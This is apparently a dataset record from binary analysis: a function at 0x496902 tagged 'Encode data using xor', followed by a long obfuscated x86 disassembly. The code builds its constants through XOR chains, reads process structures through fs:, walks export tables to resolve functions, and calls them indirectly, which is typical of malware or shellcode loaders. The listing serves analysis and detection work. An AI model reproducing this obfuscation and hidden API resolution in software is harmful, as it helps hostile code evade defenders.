Function at 0x496902
Capabilities:
Encode data using xor

Disassembly:
mov ecx, esi
mov eax, 0x7bc29784
mov edx, 0x843d6878
xor eax, edx
add esp, eax
mov dword [esp], ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], edi
pop edx
xor eax, eax
add eax, edx
add esp, 0xffffffff
add esp, 0xfffffffd
mov dword [esp], eax
push 0xa2055c0d
mov edx, 0x5dfaa3f1
pop eax
xor edx, eax
add esp, edx
push 0x20e91245
mov ecx, 0x20e91245
pop edi
xor ecx, edi
xor ecx, esp
mov dword [ecx], ebx
mov eax, 0x44703424
mov ebx, 0x28884850
xor eax, ebx
mov edx, 0xa53307cd
add eax, edx
mov ecx, 0x2010408
mov edi, 0x10008000
xor ecx, edi
mov edx, 0x280001
mov esi, 0x20050
xor edx, esi
xor ecx, edx
xor ecx, eax
mov edx, dword fs:[ecx]
mov esi, 0x1aefbc05
xor esi, 0x35e07045
push 0x95f21e2a
mov ecx, 0x45022dba
pop edi
xor ecx, edi
xor esi, ecx
sub edx, esi
xor edi, edi
add edi, edx
mov ebx, 0x1b28ab54
mov eax, 0x1b28ab20
xor eax, ebx
sub edi, eax
push 0xb692e0cb
mov eax, 0x496d1f34
pop ebx
xor eax, ebx
add edi, eax
mov esi, dword [edi + 0x75]
push 0x415f886b
mov edi, 0x744b8c67
pop edx
xor edi, edx
mov eax, 0x35140418
sub edi, eax
sub esi, edi
mov eax, esi
sub esp, 4
mov dword [esp], eax
pop edi
mov eax, 0xffffffff
add edi, eax
mov edx, dword [edi + 1]
mov eax, 0x79372b7c
mov esi, 0x68e84d6c
xor esi, eax
push 0x9fdeb7e1
mov edi, 0x71fe2e05
pop eax
xor edi, eax
xor esi, edi
sub edx, esi
mov eax, 0x332617b0
mov ebx, 0xccd9e84c
xor eax, ebx
add esp, eax
mov edi, esp
xchg edi, ebx
mov ecx, ebx
mov esi, ecx
mov dword [esi], edx
mov edi, 0
xor edi, esp
mov ebx, 0xfffffffb
add edi, ebx
mov eax, 0xffffffff
add edi, eax
mov esi, dword [edi + 6]
mov edx, 0x2797c07e
add edx, 0xd8683f7e
sub esp, edx
mov eax, esi
xchg edi, eax
push edi
pop edx
mov edi, edx
mov ecx, edi
mov edi, ecx
push edi
mov edi, dword [esi]
mov esi, edi
push esi
pop ebx
mov ecx, 1
sub ebx, ecx
mov edx, dword [ebx + 1]
mov ebx, 0x3c50c48d
add ebx, 0xc56105a1
mov esi, 0xfe4e35fe
add ebx, esi
add edx, ebx
mov ebx, edx
mov ecx, 0x36b255e
xor ecx, 0xfc94dabb
add ebx, ecx
mov edi, 0x4f55c0f7
xor edi, 0x4f55c0f6
sub ebx, edi
mov esi, dword [ebx + 0x1c]
and esi, 0xffff
mov ebx, 0x55f625f2
xor ebx, 0x7d9a8d59
push ebx
push 0x3b5e685c
mov edi, 0x1332c0ef
pop ebx
xor edi, ebx
mov eax, dword [esp]
sub esp, 0xfffffffc
xor edi, eax
xor esi, edi
mov ebx, 4
sub esp, ebx
mov edi, esp
mov dword [edi], esi
mov ebx, esp
dec ebx
mov eax, dword [ebx + 1]
mov edi, 0xfffffffc
sub esp, edi
xor eax, 0
jne 0x49668d
mov esi, 0x60e72380
xor esi, 0xe095ad12
sub esp, 4
mov dword [esp], esi
mov ebx, 0x3095aa3e
xor ebx, 0x4f18db50
mov ecx, dword [esp]
sub esp, 0xfffffffc
xor ebx, ecx
sub edx, ebx
mov eax, edx
mov ebx, eax
xchg edi, ebx
mov ecx, 1
sub edi, ecx
mov esi, dword [edi + 1]
mov ebx, esi
xchg ebx, eax
xchg eax, edi
mov eax, 4
mov ebx, 0
xor eax, ebx
sub esp, eax
mov dword [esp], edi
mov ebx, esi
xchg ebx, eax
xchg edi, eax
mov eax, 1
mov ecx, 0
xor eax, ecx
sub edi, eax
mov edx, dword [edi + 1]
and edx, 0xff
mov ecx, edx
mov esi, 0x1186bb98
xor esi, 0x8a625297
xor ecx, esi
mov eax, 0x34a6e68c
xor ecx, eax
xor ecx, 0x50bdf07c
and ecx, 0x6b
and edx, 0xffffff94
or edx, ecx
push edx
pop edi
xor esi, esi
add esi, edi
xchg eax, esi
or eax, eax
je 0x49651c
xor edx, 0x20
sub esi, esi
add esi, edx
or esi, 0
jne 0x49666c
pop edi
mov eax, 0x6f7d97ac
xor eax, 0x74cf8de6
push 0xd7fce9c1
mov esi, 0x33b10c71
pop ecx
xor esi, ecx
xor eax, esi
sub edi, eax
mov edx, 0
mov ebx, 4
xor edx, ebx
sub esp, edx
mov edx, esp
mov esi, edx
xchg eax, esi
mov dword [eax], edi
sub esi, esi
add esi, edi
mov eax, 0x11035c8f
mov ebx, 0xeefca370
xor eax, ebx
add esi, eax
mov edx, dword [esi + 1]
and edx, 0xff
xor edx, 0x4e
mov esi, edx
push esi
mov eax, dword [esp]
add esp, 4
xchg edi, eax
or edi, 0
je 0x4965ce
mov edi, 0xc218d12
mov eax, 0x40904061
xor edi, eax
push edi
push 0x17061b9e
mov esi, 0x5bb7d6cd
pop ebx
xor esi, ebx
pop ecx
xor esi, ecx
xor edx, esi
mov edi, 0x62ffa0a6
xor edi, 0x671cf2fe
mov ebx, 0x7971d1d8
xor ebx, 0x7c928380
xor ebx, edi
xor ebx, edx
and ebx, edx
jne 0x49666c
mov ecx, 0
xor ecx, esp
mov edx, 4
add ecx, edx
mov edx, 0xffffffff
add ecx, edx
mov esi, dword [ecx - 3]
mov ecx, 0x7e32dc07
mov edi, 0x81cd23fb
xor edi, ecx
sub esp, edi
push 0x6cf7d546
mov eax, 0x1b4a66e4
pop ecx
xor eax, ecx
mov edx, 0x88424c64
add eax, edx
add esi, eax
xor ebx, ebx
add ebx, esi
xchg eax, ebx
push 0x63909382
mov ebx, 0x639093bd
pop ecx
xor ebx, ecx
sub eax, ebx
mov ebx, 0x480d1521
xor ebx, 0xb7f2eade
add eax, ebx
mov edi, dword [eax + 0x40]
push 0x1fec711a
mov ebx, 0x1fcc710b
pop esi
xor ebx, esi
mov eax, 0x20f3ea99
add eax, 0xdf1e1589
xor ebx, eax
xor edi, ebx
xor ecx, ecx
add ecx, edi
mov ebx, 4
sub esp, ebx
mov dword [esp], ecx
pop esi
or esi, esi
je 0x4966c9
jmp 0x49668d
mov edx, 0
xor edx, esp
mov ebx, 1
sub edx, ebx
mov esi, dword [edx + 1]
mov ebx, 0x5f00af7a
mov edx, 0xa0ff5086
xor edx, ebx
sub esp, edx
pop ecx
mov edi, 0
xor edi, ecx
xchg esi, edi
mov ebx, 0x1a008f50
xor ebx, 0x1a008f46
sub esi, ebx
mov edx, dword [esi + 0x16]
mov edi, edx
sub esp, 4
mov dword [esp], edi
mov esi, dword [esp]
sub esp, 0xfffffffc
push esi
pop ecx
mov edi, 0xfffffffc
add esp, edi
mov dword [esp], ecx
jmp 0x496396
pop edi
push 0x1dc7ebaf
mov edx, 0x1dc7ebaf
pop esi
xor edx, esi
xor edx, edi
mov eax, 0x3456b312
mov esi, 0xcba94cc8
xor eax, esi
sub edx, eax
mov ecx, dword [edx - 0x26]
mov eax, 0xf7cf7d3
xor eax, 0xf7cf7d3
xor eax, ecx
push 0xe74f808e
mov esi, 0x18b07f5d
pop edi
xor esi, edi
add eax, esi
mov edx, dword [eax + 0x2d]
mov edi, 0x6db53fc1
add edi, 0xc36489ea
mov esi, 0xcee6363d
add edi, esi
sub edx, edi
push edx
pop eax
mov ebx, 0
xor ebx, eax
mov ecx, 0x6491b00e
xor ecx, 0x6491b010
sub ebx, ecx
mov esi, dword [ebx + 0x1e]
mov eax, 0x47d80f48
mov ebx, 0xb827f0b4
xor eax, ebx
add esp, eax
mov edx, esp
push edx
mov edi, dword [esp]
sub esp, 0xfffffffc
mov dword [edi], esi
mov eax, 4
sub esp, eax
mov edx, esp
mov ecx, edx
mov dword [ecx], esi
pop edi
mov eax, 0x73155fac
xor eax, 0x237c4d9a
push eax
mov esi, 0x213c457
add esi, 0x4e554db3
pop edx
xor esi, edx
add edi, esi
mov edx, dword [edi]
mov ebx, 0
xor ebx, esp
mov eax, ebx
mov ecx, eax
mov edi, 0x79b30929
add edi, 0x864cf736
sub ecx, edi
mov edi, 1
sub ecx, edi
mov esi, dword [ecx + 0x60]
add edx, esi
add edx, 0x29
add edx, 0x30
mov esi, 0x1b
add edx, esi
mov edi, 0x191782bc
xor edi, 0x191782b8
add edx, edi
mov esi, 0x23e20a8a
xor esi, 0x23e20a8a
xor esi, edx
mov edi, 2
mov ecx, 0x61
xor edi, ecx
sub esi, edi
push 0x72f37a0c
mov edi, 0x72f37a0d
pop eax
xor edi, eax
sub esi, edi
mov edx, dword [esi + 0x64]
mov esi, esp
sub esp, 4
mov dword [esp], esi
pop eax
mov ecx, 1
sub eax, ecx
mov ebx, dword [eax + 1]
add edx, ebx
mov eax, 0xac1dff58
add eax, 0x11
push eax
push 0x23889a59
mov ebx, 0x706a9ad0
pop eax
xor ebx, eax
mov ecx, dword [esp]
sub esp, 0xfffffffc
xor ebx, ecx
sub edx, ebx
mov eax, 0x610b5488
mov edi, 0x3354c99e
xor edi, eax
mov eax, 0x284e1d51
xor edi, eax
mov eax, 0x1b6b56a2
mov ebx, 0x222c821b
xor ebx, eax
mov ecx, 0x4ca6ab02
add ebx, ecx
xor ebx, edi
add ebx, edx
mov esi, 0x6f2f73fd
mov edi, 0x6f2f73fd
xor edi, esi
xor edi, ebx
mov eax, 0x1fdad6dd
xor eax, 0xe0252923
sub edi, eax
mov esi, 0x5e2cab2a
add esi, 0xa1d354d5
add edi, esi
mov ebx, dword [edi - 1]
mov esi, dword [esp]
add ebx, esi
mov eax, ebx
xchg esi, eax
xchg edi, esi
mov eax, 4
sub esp, eax
push esp
pop ecx
mov dword [ecx], edi
mov eax, 0x1c1f9fde
xor eax, 0x66ab27e5
mov esi, eax
xor esi, 0xffffffff
and esi, 0x7ab4b83b
and eax, 0x854b47c4
or eax, esi
mov ecx, 0x5572303c
mov edi, 0x29cdc079
xor edi, ecx
mov ebx, 0x20226040
mov ecx, 0x5c9d9001
xor ebx, ecx
xor ebx, edi
xor eax, ebx
add eax, edx
mov esi, eax
push esi
mov edi, dword [esp]
add esp, 4
dec edi
mov eax, dword [edi + 1]
mov esi, dword [esp + 4]
add eax, esi
mov ecx, eax
xchg ecx, edi
xchg esi, edi
mov ecx, 0x7914e5ee
xor ecx, 0x86eb1a12
add esp, ecx
mov dword [esp], esi
mov ebx, edx
mov ecx, ebx
mov eax, ecx
mov esi, 0x5e6ebebd
xor esi, 0x5e6ebee5
add eax, esi
mov edx, dword [eax - 0x58]
mov ecx, dword [esp + 8]
add edx, ecx
mov esi, dword [edx]
mov edi, dword [esp + 8]
add esi, edi
mov edi, 0x2151b41f
xor edi, 0x2bf1648f
mov eax, 0xf55f2f75
add edi, eax
add esi, edi
mov ebx, esi
mov edi, 0x3417915
xor edi, 0x3417919
sub ebx, edi
mov esi, dword [ebx + 0xc]
mov edi, 0x27b4a3d9
mov ecx, 0x335052c8
xor ecx, edi
mov eax, 0x79de88dd
xor ecx, eax
xor ecx, 0x48148fc5
xor esi, ecx
mov ebx, 0x4f1160
mov edi, 0x41208406
xor ebx, edi
xor esi, ebx
mov edi, 0
xor edi, esi
xchg edi, ecx
xchg ecx, eax
sub eax, 0
je 0x4969f4
mov ecx, 0x21020015
mov esi, 0xa90e868
xor ecx, esi
mov eax, 0x2b92e881
sub ecx, eax
sub edx, ecx
mov eax, dword [esp]
mov edi, 0x66b242d
mov esi, 0xf994dbd1
xor esi, edi
sub esp, esi
mov edi, 0x261c0
mov ecx, 0x8d38841c
xor edi, ecx
push edi
mov esi, 0x59818469
add esi, 0x194395b9
pop ebx
xor esi, ebx
sub eax, esi
mov edi, eax
mov esi, edi
xchg esi, ecx
mov esi, 0x2a705714
add esi, 0xd58fa8e8
add esp, esi
mov dword [esp], ecx
jmp 0x496921
mov eax, esp
mov edi, eax
add edi, 0xffffffff
mov edx, dword [edi + 1]
mov edi, 0x33a57301
mov esi, 0x33a57305
xor esi, edi
add esp, esi
mov edx, dword [edx]
and edx, 0xffff
add edx, edx
xor eax, eax
add eax, edx
add edx, eax
pop esi
add esi, edx
mov esi, dword [esi]
pop ecx
add esi, ecx
mov edx, 0
mov edi, 0
xor edx, edi
xor edx, esi
mov edi, 0x136aa7c5
xor edi, 0x136aa7c1
sub esp, edi
mov dword [esp], edx
mov ebx, 0x5c9369c1
xor ebx, 0xa1e98fc1
push ebx
mov eax, 0x417971ec
add eax, 0x75
push eax
mov eax, 0x52406108
mov edi, 0x20220844
xor eax, edi
push eax
mov edx, 0x4410044
mov edi, 0x60206f08
xor edx, edi
push edx
xor edi, edi
add edi, esp
mov eax, 0x2e6012f9
mov edx, 0xd19fed05
xor edx, eax
add esp, edx
mov dword [esp], edi
mov edx, ecx
xchg eax, edx
xor edi, edi
add edi, eax
mov ebx, 0xfffffffc
add esp, ebx
mov edx, esp
mov eax, edx
mov dword [eax], edi
call esi
mov ebx, 0x7c18bc28
add ebx, 0xb04d6602
mov ecx, 0x2c66223a
xor ebx, ecx
add esp, ebx
mov edx, eax
push edx
mov edi, dword [esp]
sub esp, 0xfffffffc
mov edx, 4
sub esp, edx
mov ebx, 0
xor ebx, esp
mov dword [ebx], edi
call fcn.00496f50
mov edx, 0x6596bbce
xor edx, 0x4cb0700e
mov ebx, 0x6a8f460
add ebx, 0x227dd762
xor ebx, edx
add ecx, ebx
sub esi, esi
add esi, ecx
mov ebx, esi
mov edi, ebx
mov ebx, edi
push ebx
push 0x277aa32
mov ebx, 0x3f0da932
pop ecx
xor ebx, ecx
push ebx
push 0x76977970
mov edx, 0x15f8151c
pop ecx
xor edx, ecx
push edx
push 0x6a8d39d2
mov ecx, 0x2be158a7
pop edi
xor ecx, edi
push ecx
mov edx, 0x1bdfab88
xor edx, 0x6fadc2de
sub esp, 4
mov dword [esp], edx
mov ebx, 0x13552300
mov ecx, 0x200a0800
xor ebx, ecx
push ebx
mov edx, 0x32336bd0
add edx, 0x95
push edx
mov ecx, 0xe302149
mov edx, 0x60424402
xor ecx, edx
push ecx
mov esi, dword [esp + 0x20]
push 0xfba9fa4
mov edi, 0xfba9fa4
pop ebx
xor edi, ebx
xor edi, esp
mov ebx, 0x4ba21555
add ebx, 0xb45deaa7
add esp, ebx
mov dword [esp], edi
call esi
push 0x39856859
mov ebx, 0x5aa9fc80
pop edx
xor ebx, edx
mov ecx, 0x279a5c77
add ecx, 0x3b92385e
xor ecx, ebx
add esp, ecx
mov ebx, 0
xor ebx, esp
mov esi, ebx
mov edx, 0
xor edx, esi
mov ecx, edx
push ecx
mov edi, eax
mov ecx, 0xfffffffc
add esp, ecx
push esp
pop ebx
mov dword [ebx], edi
mov ebx, dword [esp + 0x20]
call ebx
push 0x6ef27793
mov edi, 0x6ef27790
pop ebx
xor edi, ebx
add esp, edi
mov edi, 0xfffffff9
sub esp, edi
mov ecx, 6
add esp, ecx
push 0x3e1282f4
mov edx, 0x3e1282b4
pop esi
xor edx, esi
push edx
push 0x6c0e445f
mov ebx, 0x6c0e545f
pop ecx
xor ebx, ecx
push ebx
mov edi, 0x7719d00
xor edi, 0x7706407
push edi
mov esi, 0x5567f6ba
xor esi, 0x5567f6ba
push esi
call eax
pop edx
xor esi, esi
add esi, eax
mov ebx, 0x736e69f6
mov eax, 0x736e69f6
xor eax, ebx
xor eax, esi
mov edi, 0
xor edi, eax
add esp, 0xfffffffc
mov ebx, esp
mov dword [ebx], edi
mov eax, 4
mov ebx, 0
xor eax, ebx
sub esp, eax
mov eax, 0
xor eax, esp
xchg edi, eax
mov dword [edi], edx
mov ebx, 0x1be68042
xor ebx, 0x466e779a
sub esp, 4
mov dword [esp], ebx
mov edi, 0x1088c240
mov ebx, 0x4d003498
xor edi, ebx
mov eax, dword [esp]
add esp, 4
xor edi, eax
add edx, edi
mov ebx, 0x1f8f4
add ebx, 9
push ebx
mov bl, byte [edx]
mov byte [esi], bl
mov eax, 0x7221b008
add eax, 0xd46a4f9
mov ebx, 0x783e2b7e
xor ebx, 0xf8a98180
xor ebx, eax
sub edx, ebx
mov edi, 0x5c83221
mov ebx, 0x10058
xor edi, ebx
mov ebx, 0x2efd45ce
mov eax, 0xd4cb8848
xor eax, ebx
xor eax, edi
sub esi, eax
pop eax
mov ebx, 0x47ee766d
add ebx, 0xb8118992
add eax, ebx
mov ebx, eax
push ebx
pop edi
mov ecx, edi
push ecx
mov edi, eax
xchg ebx, edi
or ebx, 0
jne 0x496ca7
pop edx
mov eax, 0x1e39030
mov ebx, 0x29918fef
xor ebx, eax
mov edx, 0x28730f8f
xor ebx, edx
mov edx, 0x1dce46ca
mov ecx, 0xa86c0cb
xor ecx, edx
mov esi, 0x17479d54
sub ecx, esi
xor ebx, ecx
pop ecx
pop edx
mov esi, 0x6ddd0024
add esi, 0x9223f950
add edx, esi
mov esi, 0x374b8a72
xor esi, 0xc8b48a0a
sub edx, esi
sub esi, esi
add esi, ebx
xor eax, eax
add eax, esi
add esp, 0xfffffffe
add esp, 0xfffffffe
mov dword [esp], eax
push 0x37e24832
mov edi, 0x37e24836
pop eax
xor edi, eax
sub esp, edi
mov esi, esp
mov dword [esi], ecx
push 0xa2472056
mov edi, 0x5db8dfaa
pop eax
xor edi, eax
add esp, edi
mov esi, esp
mov dword [esi], edx
sub ebx, ebx
mov bl, byte [edx]
add ecx, ebx
mov bl, byte [ecx]
pop edx
mov esi, 0
xor esi, esp
dec esi
mov ecx, dword [esi + 1]
push 0xf62fe167
mov esi, 0x9d01e9b
pop edi
xor esi, edi
sub esp, esi
mov byte [edx], bl
mov esi, 0
mov edi, 1
xor esi, edi
sub edx, esi
push esp
pop esi
mov eax, 0xffffffe1
sub esi, eax
mov ebx, dword [esi - 0x1f]
push 0x735c95f4
mov esi, 0x735c95f0
pop edi
xor esi, edi
add esp, esi
dec ebx
push 0x19efdd70
mov esi, 0x1660a6b7
pop edi
xor esi, edi
mov edi, 0xf0708439
add esi, edi
xor esi, ebx
and esi, ebx
jne 0x496d51
mov edi, 0x7aa9c3c2
add edi, 0x965303fd
mov esi, 0xef033840
add edi, esi
sub edx, edi
mov edi, edx
mov esi, edi
xor ecx, ecx
add ecx, esi
mov eax, 4
sub esp, eax
xor esi, esi
add esi, esp
mov dword [esi], ecx
mov ecx, esp
mov edx, ecx
mov ecx, 0x54
add edx, ecx
add edx, 0xffffffff
mov eax, dword [edx - 0x53]
push 0x9ba88e96
mov ecx, 0x6457716a
pop edx
xor ecx, edx
sub esp, ecx
call eax
mov edx, 0x804ae24
xor edx, 0x361b9755
mov eax, edx
xor eax, 0xffffffff
and eax, 0x23d795b7
and edx, 0xdc286a48
or edx, eax
push 0x3eac03ba
mov ecx, 0x6fdc08fe
pop eax
xor ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xc3a172e
and ecx, 0xf3c5e8d1
or ecx, eax
xor ecx, edx
pop ebx
mov edx, 0x3343e9
xor edx, 0xcafa6a8
push edx
mov ecx, 0x727a1bb0
add ecx, 0x7de192d
mov edx, 0xcf8a5b35
add ecx, edx
mov edx, esp
dec edx
mov eax, dword [edx + 1]
mov edx, 0xfffffffc
sub esp, edx
xor ecx, eax
mov eax, esp
xchg eax, edx
mov eax, 0xb
add edx, eax
mov edi, dword [edx - 0xb]
mov ecx, 0xfffffffe
sub esp, ecx
add esp, 1
add esp, 1
push 0x7d384cf6
mov eax, 0x1d3845bf
pop edx
xor eax, edx
mov edx, 0x43f3d62b
mov ecx, 0x52b1162b
xor ecx, edx
xor eax, ecx
mov esi, dword [esp]
mov ecx, 0x7538c934
mov edx, 0x8ac736c8
xor ecx, edx
sub esp, ecx
ret